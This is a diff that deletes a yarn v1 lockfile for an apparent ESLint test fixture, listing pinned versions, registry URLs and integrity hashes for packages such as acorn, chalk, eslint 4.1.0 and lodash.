--- a/fixtures/eslint/yarn.lock
+++ /dev/null
@@ -1,853 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-# yarn lockfile v1
-
-
-acorn-jsx@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-3.0.1.tgz#afdf9488fb1ecefc8348f6fb22f464e32a58b36b"
-  integrity sha1-r9+UiPsezvyDSPb7IvRk4ypYs2s=
-  dependencies:
-    acorn "^3.0.4"
-
-acorn@^3.0.4:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-3.3.0.tgz#45e37fb39e8da3f25baee3ff5369e2bb5f22017a"
-  integrity sha1-ReN/s56No/JbruP/U2niu18iAXo=
-
-acorn@^5.5.0:
-  version "5.7.3"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-5.7.3.tgz#67aa231bf8812974b85235a96771eb6bd07ea279"
-  integrity sha512-T/zvzYRfbVojPWahDsE5evJdHb3oJoQfFbsrKM7w5Zcs++Tr257tia3BmMP8XYVjp1S9RZXQMh7gao96BlqZOw==
-
-ajv-keywords@^3.0.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-3.2.0.tgz#e86b819c602cf8821ad637413698f1dec021847a"
-  integrity sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=
-
-ajv@^6.0.1:
-  version "6.7.0"
-  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.7.0.tgz#e3ce7bb372d6577bb1839f1dfdfcbf5ad2948d96"
-  integrity sha512-RZXPviBTtfmtka9n9sy1N5M5b82CbxWIR6HIis4s3WQTXDJamc/0gpCWNGz6EWdWp4DOfjzJfhz/AS9zVPjjWg==
-  dependencies:
-    fast-deep-equal "^2.0.1"
-    fast-json-stable-stringify "^2.0.0"
-    json-schema-traverse "^0.4.1"
-    uri-js "^4.2.2"
-
-ansi-escapes@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-3.1.0.tgz#f73207bb81207d75fd6c83f125af26eea378ca30"
-  integrity sha512-UgAb8H9D41AQnu/PbWlCofQVcnV4Gs2bBJi9eZPxfU/hgglFh3SMDMENRIqdr7H6XFnXdoknctFByVsCOotTVw==
-
-ansi-regex@^2.0.0:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
-  integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8=
-
-ansi-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.0.tgz#ed0317c322064f79466c02966bddb605ab37d998"
-  integrity sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=
-
-ansi-styles@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe"
-  integrity sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=
-
-ansi-styles@^3.2.1:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
-  integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
-  dependencies:
-    color-convert "^1.9.0"
-
-argparse@^1.0.7:
-  version "1.0.10"
-  resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
-  integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==
-  dependencies:
-    sprintf-js "~1.0.2"
-
-babel-code-frame@^6.22.0:
-  version "6.26.0"
-  resolved "https://registry.yarnpkg.com/babel-code-frame/-/babel-code-frame-6.26.0.tgz#63fd43f7dc1e3bb7ce35947db8fe369a3f58c74b"
-  integrity sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=
-  dependencies:
-    chalk "^1.1.3"
-    esutils "^2.0.2"
-    js-tokens "^3.0.2"
-
-balanced-match@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz#89b4d199ab2bee49de164ea02b89ce462d71b767"
-  integrity sha1-ibTRmasr7kneFk6gK4nORi1xt2c=
-
-brace-expansion@^1.1.7:
-  version "1.1.11"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
-  dependencies:
-    balanced-match "^1.0.0"
-    concat-map "0.0.1"
-
-buffer-from@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef"
-  integrity sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==
-
-caller-path@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/caller-path/-/caller-path-0.1.0.tgz#94085ef63581ecd3daa92444a8fe94e82577751f"
-  integrity sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=
-  dependencies:
-    callsites "^0.2.0"
-
-callsites@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/callsites/-/callsites-0.2.0.tgz#afab96262910a7f33c19a5775825c69f34e350ca"
-  integrity sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=
-
-chalk@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
-  integrity sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=
-  dependencies:
-    ansi-styles "^2.2.1"
-    escape-string-regexp "^1.0.2"
-    has-ansi "^2.0.0"
-    strip-ansi "^3.0.0"
-    supports-color "^2.0.0"
-
-chalk@^2.0.0, chalk@^2.1.0:
-  version "2.4.2"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
-  integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
-  dependencies:
-    ansi-styles "^3.2.1"
-    escape-string-regexp "^1.0.5"
-    supports-color "^5.3.0"
-
-chardet@^0.4.0:
-  version "0.4.2"
-  resolved "https://registry.yarnpkg.com/chardet/-/chardet-0.4.2.tgz#b5473b33dc97c424e5d98dc87d55d4d8a29c8bf2"
-  integrity sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=
-
-circular-json@^0.3.1:
-  version "0.3.3"
-  resolved "https://registry.yarnpkg.com/circular-json/-/circular-json-0.3.3.tgz#815c99ea84f6809529d2f45791bdf82711352d66"
-  integrity sha512-UZK3NBx2Mca+b5LsG7bY183pHWt5Y1xts4P3Pz7ENTwGVnJOUWbRb3ocjvX7hx9tq/yTAdclXm9sZ38gNuem4A==
-
-cli-cursor@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/cli-cursor/-/cli-cursor-2.1.0.tgz#b35dac376479facc3e94747d41d0d0f5238ffcb5"
-  integrity sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=
-  dependencies:
-    restore-cursor "^2.0.0"
-
-cli-width@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/cli-width/-/cli-width-2.2.0.tgz#ff19ede8a9a5e579324147b0c11f0fbcbabed639"
-  integrity sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=
-
-color-convert@^1.9.0:
-  version "1.9.3"
-  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
-  integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
-  dependencies:
-    color-name "1.1.3"
-
-color-name@1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
-  integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
-
-concat-map@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
-  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
-
-concat-stream@^1.6.0:
-  version "1.6.2"
-  resolved "https://registry.yarnpkg.com/concat-stream/-/concat-stream-1.6.2.tgz#904bdf194cd3122fc675c77fc4ac3d4ff0fd1a34"
-  integrity sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==
-  dependencies:
-    buffer-from "^1.0.0"
-    inherits "^2.0.3"
-    readable-stream "^2.2.2"
-    typedarray "^0.0.6"
-
-core-util-is@~1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
-  integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
-
-debug@^2.6.8:
-  version "2.6.9"
-  resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
-  integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
-  dependencies:
-    ms "2.0.0"
-
-deep-is@~0.1.3:
-  version "0.1.3"
-  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
-  integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=
-
-doctrine@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d"
-  integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==
-  dependencies:
-    esutils "^2.0.2"
-
-escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
-  integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
-
-"eslint-plugin-react-hooks@link:./proxy":
-  version "0.0.0"
-  uid ""
-
-eslint-scope@^3.7.1:
-  version "3.7.3"
-  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-3.7.3.tgz#bb507200d3d17f60247636160b4826284b108535"
-  integrity sha512-W+B0SvF4gamyCTmUc+uITPY0989iXVfKvhwtmJocTaYoc/3khEHmEmvfY/Gn9HA9VV75jrQECsHizkNw1b68FA==
-  dependencies:
-    esrecurse "^4.1.0"
-    estraverse "^4.1.1"
-
-eslint@4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/eslint/-/eslint-4.1.0.tgz#bbb55a28220ee08b69da9554d45a6b2ebfd7d913"
-  integrity sha1-u7VaKCIO4Itp2pVU1FprLr/X2RM=
-  dependencies:
-    babel-code-frame "^6.22.0"
-    chalk "^1.1.3"
-    concat-stream "^1.6.0"
-    debug "^2.6.8"
-    doctrine "^2.0.0"
-    eslint-scope "^3.7.1"
-    espree "^3.4.3"
-    esquery "^1.0.0"
-    estraverse "^4.2.0"
-    esutils "^2.0.2"
-    file-entry-cache "^2.0.0"
-    glob "^7.1.2"
-    globals "^9.17.0"
-    ignore "^3.3.3"
-    imurmurhash "^0.1.4"
-    inquirer "^3.0.6"
-    is-my-json-valid "^2.16.0"
-    is-resolvable "^1.0.0"
-    js-yaml "^3.8.4"
-    json-stable-stringify "^1.0.1"
-    levn "^0.3.0"
-    lodash "^4.17.4"
-    minimatch "^3.0.2"
-    mkdirp "^0.5.1"
-    natural-compare "^1.4.0"
-    optionator "^0.8.2"
-    path-is-inside "^1.0.2"
-    pluralize "^4.0.0"
-    progress "^2.0.0"
-    require-uncached "^1.0.3"
-    strip-json-comments "~2.0.1"
-    table "^4.0.1"
-    text-table "~0.2.0"
-
-espree@^3.4.3:
-  version "3.5.4"
-  resolved "https://registry.yarnpkg.com/espree/-/espree-3.5.4.tgz#b0f447187c8a8bed944b815a660bddf5deb5d1a7"
-  integrity sha512-yAcIQxtmMiB/jL32dzEp2enBeidsB7xWPLNiw3IIkpVds1P+h7qF9YwJq1yUNzp2OKXgAprs4F61ih66UsoD1A==
-  dependencies:
-    acorn "^5.5.0"
-    acorn-jsx "^3.0.0"
-
-esprima@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
-  integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
-
-esquery@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.0.1.tgz#406c51658b1f5991a5f9b62b1dc25b00e3e5c708"
-  integrity sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==
-  dependencies:
-    estraverse "^4.0.0"
-
-esrecurse@^4.1.0:
-  version "4.2.1"
-  resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.2.1.tgz#007a3b9fdbc2b3bb87e4879ea19c92fdbd3942cf"
-  integrity sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==
-  dependencies:
-    estraverse "^4.1.0"
-
-estraverse@^4.0.0, estraverse@^4.1.0, estraverse@^4.1.1, estraverse@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.2.0.tgz#0dee3fed31fcd469618ce7342099fc1afa0bdb13"
-  integrity sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=
-
-esutils@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.2.tgz#0abf4f1caa5bcb1f7a9d8acc6dea4faaa04bac9b"
-  integrity sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=
-
-external-editor@^2.0.4:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/external-editor/-/external-editor-2.2.0.tgz#045511cfd8d133f3846673d1047c154e214ad3d5"
-  integrity sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==
-  dependencies:
-    chardet "^0.4.0"
-    iconv-lite "^0.4.17"
-    tmp "^0.0.33"
-
-fast-deep-equal@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz#7b05218ddf9667bf7f370bf7fdb2cb15fdd0aa49"
-  integrity sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=
-
-fast-json-stable-stringify@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz#d5142c0caee6b1189f87d3a76111064f86c8bbf2"
-  integrity sha1-1RQsDK7msRifh9OnYREGT4bIu/I=
-
-fast-levenshtein@~2.0.4:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
-  integrity sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=
-
-figures@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/figures/-/figures-2.0.0.tgz#3ab1a2d2a62c8bfb431a0c94cb797a2fce27c962"
-  integrity sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=
-  dependencies:
-    escape-string-regexp "^1.0.5"
-
-file-entry-cache@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-2.0.0.tgz#c392990c3e684783d838b8c84a45d8a048458361"
-  integrity sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=
-  dependencies:
-    flat-cache "^1.2.1"
-    object-assign "^4.0.1"
-
-flat-cache@^1.2.1:
-  version "1.3.4"
-  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-1.3.4.tgz#2c2ef77525cc2929007dfffa1dd314aa9c9dee6f"
-  integrity sha512-VwyB3Lkgacfik2vhqR4uv2rvebqmDvFu4jlN/C1RzWoJEo8I7z4Q404oiqYCkq41mni8EzQnm95emU9seckwtg==
-  dependencies:
-    circular-json "^0.3.1"
-    graceful-fs "^4.1.2"
-    rimraf "~2.6.2"
-    write "^0.2.1"
-
-fs.realpath@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
-  integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
-
-generate-function@^2.0.0:
-  version "2.3.1"
-  resolved "https://registry.yarnpkg.com/generate-function/-/generate-function-2.3.1.tgz#f069617690c10c868e73b8465746764f97c3479f"
-  integrity sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==
-  dependencies:
-    is-property "^1.0.2"
-
-generate-object-property@^1.1.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/generate-object-property/-/generate-object-property-1.2.0.tgz#9c0e1c40308ce804f4783618b937fa88f99d50d0"
-  integrity sha1-nA4cQDCM6AT0eDYYuTf6iPmdUNA=
-  dependencies:
-    is-property "^1.0.0"
-
-glob@^7.1.2, glob@^7.1.3:
-  version "7.1.3"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.3.tgz#3960832d3f1574108342dafd3a67b332c0969df1"
-  integrity sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==
-  dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
-
-globals@^9.17.0:
-  version "9.18.0"
-  resolved "https://registry.yarnpkg.com/globals/-/globals-9.18.0.tgz#aa3896b3e69b487f17e31ed2143d69a8e30c2d8a"
-  integrity sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==
-
-graceful-fs@^4.1.2:
-  version "4.1.15"
-  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.1.15.tgz#ffb703e1066e8a0eeaa4c8b80ba9253eeefbfb00"
-  integrity sha512-6uHUhOPEBgQ24HM+r6b/QwWfZq+yiFcipKFrOFiBEnWdy5sdzYoi+pJeQaPI5qOLRFqWmAXUPQNsielzdLoecA==
-
-has-ansi@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
-  integrity sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=
-  dependencies:
-    ansi-regex "^2.0.0"
-
-has-flag@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
-  integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
-
-iconv-lite@^0.4.17:
-  version "0.4.24"
-  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
-  integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
-  dependencies:
-    safer-buffer ">= 2.1.2 < 3"
-
-ignore@^3.3.3:
-  version "3.3.10"
-  resolved "https://registry.yarnpkg.com/ignore/-/ignore-3.3.10.tgz#0a97fb876986e8081c631160f8f9f389157f0043"
-  integrity sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug==
-
-imurmurhash@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
-  integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
-
-inflight@^1.0.4:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
-  integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
-  dependencies:
-    once "^1.3.0"
-    wrappy "1"
-
-inherits@2, inherits@^2.0.3, inherits@~2.0.3:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
-  integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
-
-inquirer@^3.0.6:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/inquirer/-/inquirer-3.3.0.tgz#9dd2f2ad765dcab1ff0443b491442a20ba227dc9"
-  integrity sha512-h+xtnyk4EwKvFWHrUYsWErEVR+igKtLdchu+o0Z1RL7VU/jVMFbYir2bp6bAj8efFNxWqHX0dIss6fJQ+/+qeQ==
-  dependencies:
-    ansi-escapes "^3.0.0"
-    chalk "^2.0.0"
-    cli-cursor "^2.1.0"
-    cli-width "^2.0.0"
-    external-editor "^2.0.4"
-    figures "^2.0.0"
-    lodash "^4.3.0"
-    mute-stream "0.0.7"
-    run-async "^2.2.0"
-    rx-lite "^4.0.8"
-    rx-lite-aggregates "^4.0.8"
-    string-width "^2.1.0"
-    strip-ansi "^4.0.0"
-    through "^2.3.6"
-
-is-fullwidth-code-point@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
-  integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
-
-is-my-ip-valid@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-my-ip-valid/-/is-my-ip-valid-1.0.0.tgz#7b351b8e8edd4d3995d4d066680e664d94696824"
-  integrity sha512-gmh/eWXROncUzRnIa1Ubrt5b8ep/MGSnfAUI3aRp+sqTCs1tv1Isl8d8F6JmkN3dXKc3ehZMrtiPN9eL03NuaQ==
-
-is-my-json-valid@^2.16.0:
-  version "2.19.0"
-  resolved "https://registry.yarnpkg.com/is-my-json-valid/-/is-my-json-valid-2.19.0.tgz#8fd6e40363cd06b963fa877d444bfb5eddc62175"
-  integrity sha512-mG0f/unGX1HZ5ep4uhRaPOS8EkAY8/j6mDRMJrutq4CqhoJWYp7qAlonIPy3TV7p3ju4TK9fo/PbnoksWmsp5Q==
-  dependencies:
-    generate-function "^2.0.0"
-    generate-object-property "^1.1.0"
-    is-my-ip-valid "^1.0.0"
-    jsonpointer "^4.0.0"
-    xtend "^4.0.0"
-
-is-promise@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/is-promise/-/is-promise-2.1.0.tgz#79a2a9ece7f096e80f36d2b2f3bc16c1ff4bf3fa"
-  integrity sha1-eaKp7OfwlugPNtKy87wWwf9L8/o=
-
-is-property@^1.0.0, is-property@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-property/-/is-property-1.0.2.tgz#57fe1c4e48474edd65b09911f26b1cd4095dda84"
-  integrity sha1-V/4cTkhHTt1lsJkR8msc1Ald2oQ=
-
-is-resolvable@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/is-resolvable/-/is-resolvable-1.1.0.tgz#fb18f87ce1feb925169c9a407c19318a3206ed88"
-  integrity sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==
-
-isarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
-  integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
-
-js-tokens@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-3.0.2.tgz#9866df395102130e38f7f996bceb65443209c25b"
-  integrity sha1-mGbfOVECEw449/mWvOtlRDIJwls=
-
-js-yaml@^3.8.4:
-  version "3.12.1"
-  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.12.1.tgz#295c8632a18a23e054cf5c9d3cecafe678167600"
-  integrity sha512-um46hB9wNOKlwkHgiuyEVAybXBjwFUV0Z/RaHJblRd9DXltue9FTYvzCr9ErQrK9Adz5MU4gHWVaNUfdmrC8qA==
-  dependencies:
-    argparse "^1.0.7"
-    esprima "^4.0.0"
-
-json-schema-traverse@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
-  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
-
-json-stable-stringify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz#9a759d39c5f2ff503fd5300646ed445f88c4f9af"
-  integrity sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=
-  dependencies:
-    jsonify "~0.0.0"
-
-jsonify@~0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/jsonify/-/jsonify-0.0.0.tgz#2c74b6ee41d93ca51b7b5aaee8f503631d252a73"
-  integrity sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=
-
-jsonpointer@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/jsonpointer/-/jsonpointer-4.0.1.tgz#4fd92cb34e0e9db3c89c8622ecf51f9b978c6cb9"
-  integrity sha1-T9kss04OnbPInIYi7PUfm5eMbLk=
-
-levn@^0.3.0, levn@~0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
-  integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=
-  dependencies:
-    prelude-ls "~1.1.2"
-    type-check "~0.3.2"
-
-lodash@^4.17.4, lodash@^4.3.0:
-  version "4.17.11"
-  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.11.tgz#b39ea6229ef607ecd89e2c8df12536891cac9b8d"
-  integrity sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==
-
-mimic-fn@^1.0.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-1.2.0.tgz#820c86a39334640e99516928bd03fca88057d022"
-  integrity sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==
-
-minimatch@^3.0.2, minimatch@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
-  integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
-  dependencies:
-    brace-expansion "^1.1.7"
-
-minimist@0.0.8:
-  version "0.0.8"
